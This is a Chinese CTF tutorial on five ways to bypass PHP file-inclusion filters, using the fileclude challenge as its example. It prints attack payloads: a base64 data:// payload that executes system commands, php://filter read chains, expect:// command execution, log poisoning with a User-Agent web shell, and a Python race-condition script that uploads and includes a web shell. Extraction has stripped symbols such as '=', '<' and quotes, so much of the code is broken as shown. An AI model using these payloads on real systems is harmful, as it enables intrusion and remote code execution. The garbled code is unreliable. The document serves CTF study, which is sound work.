CTF选手必备:5种绕过文件包含限制的骚操作(以攻防世界fileclude为例)

CTF选手必备:5种绕过文件包含限制的骚操作(以攻防世界fileclude为例) CTF选手进阶文件包含漏洞的5种高阶绕过实战在CTF竞赛中文件包含漏洞一直是Web安全赛道的经典考点。不同于简单的目录遍历现代CTF题目往往设置了多重过滤机制需要选手灵活运用编码转换、协议封装等技巧实现突破。本文将以攻防世界平台fileclude题目为蓝本系统梳理五种实用绕过技术帮助你在实战中快速定位突破口。1. 理解文件包含漏洞的核心机制文件包含漏洞本质上是由于服务端未对用户输入的文件路径进行严格校验导致攻击者能够包含并执行非预期文件。在PHP环境中常见的危险函数包括include()require()include_once()require_once()这些函数在设计上允许动态加载代码但当参数可控时就会形成安全缺口。以fileclude题目为例其核心漏洞点在于if(isset($_GET[file1]) !empty($_GET[file1])){ include $_GET[file1]; }关键突破点分析无后缀限制未强制校验文件扩展名路径未过滤未对../等目录跳转字符进行过滤内容可控制file2参数可通过data协议直接控制2. 基础绕过data协议的灵活运用当目标服务器允许URL包含时data协议是最直接的利用方式。其基本格式为data:[mediatype][;base64],data在fileclude题目中我们可以构造如下payload读取flag?file1data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg这段base64解码后实际是?php system(cat flag.php);?注意事项确保服务器配置中allow_url_includeOn短标签?可能被禁用建议使用完整?php标签某些环境会过滤php://但放过data://3. 编码转换突破内容检测的利器当题目对包含内容进行检测时如fileclude要求file2内容必须包含hello ctf编码转换就成为关键手段。以下是三种实用编码方式3.1 Base64编码方案?file1php://filter/convert.base64-encode/resourceflag.php优势几乎支持所有PHP环境可嵌套多层过滤器解码技巧echo PD9waHAgZWNobyAiZmxhZ3t0ZXN0fSI7ID8 | base64 -d3.2 ROT13编码方案?file1php://filter/readstring.rot13/resourceflag.php特点无需特殊字符即可实现文本转换某些环境下可能被禁用3.3 压缩流编码方案?file1php://filter/zlib.deflate/convert.base64-encode/resourceflag.php复合编码流程先用zlib压缩再进行base64编码客户端需要反向解码4. 协议封装超越文件包含的思维定式除了常见的data协议PHP还支持多种wrapper协议协议类型用途示例php://filter编码转换php://filter/convert.base64-encode/resourceflag.phpphar://解压缩攻击phar:///path/to/evil.zip/evil.phpzip://压缩包包含zip:///path/to/evil.zip%23evil.phpexpect://命令执行expect://id实战技巧当路径可控时zip协议中的#需要编码为%23phar协议需要目标文件实际存在expect协议需要特定扩展支持5. 日志污染当常规方法失效时在严格过滤的场景下服务器日志文件可能成为突破口。典型步骤如下通过User-Agent注入PHP代码包含access日志文件触发代码执行GET /vuln.php?file/var/log/apache2/access.log HTTP/1.1 User-Agent: ?php system($_GET[cmd]);?关键点需要知道日志绝对路径日志权限需可读可能受日志轮转影响6. 条件竞争突破临时文件限制某些题目会生成临时文件并短暂保留此时可采用条件竞争策略编写脚本快速上传含恶意代码的文件同时发起包含请求在文件删除前完成包含import requests import threading def upload(): while True: files {file: (evil.php, ?php system($_GET[cmd]);?)} requests.post(http://target/upload.php, filesfiles) def include(): while True: r requests.get(http://target/vuln.php?file./uploads/tmp_evil.php) if flag{ in r.text: print(r.text) exit() threading.Thread(targetupload).start() threading.Thread(targetinclude).start()在真实CTF比赛中这些技术往往需要组合使用。比如在2022年某大型CTF中一道题目就需要先通过日志污染获取初始权限再利用phar协议实现横向移动。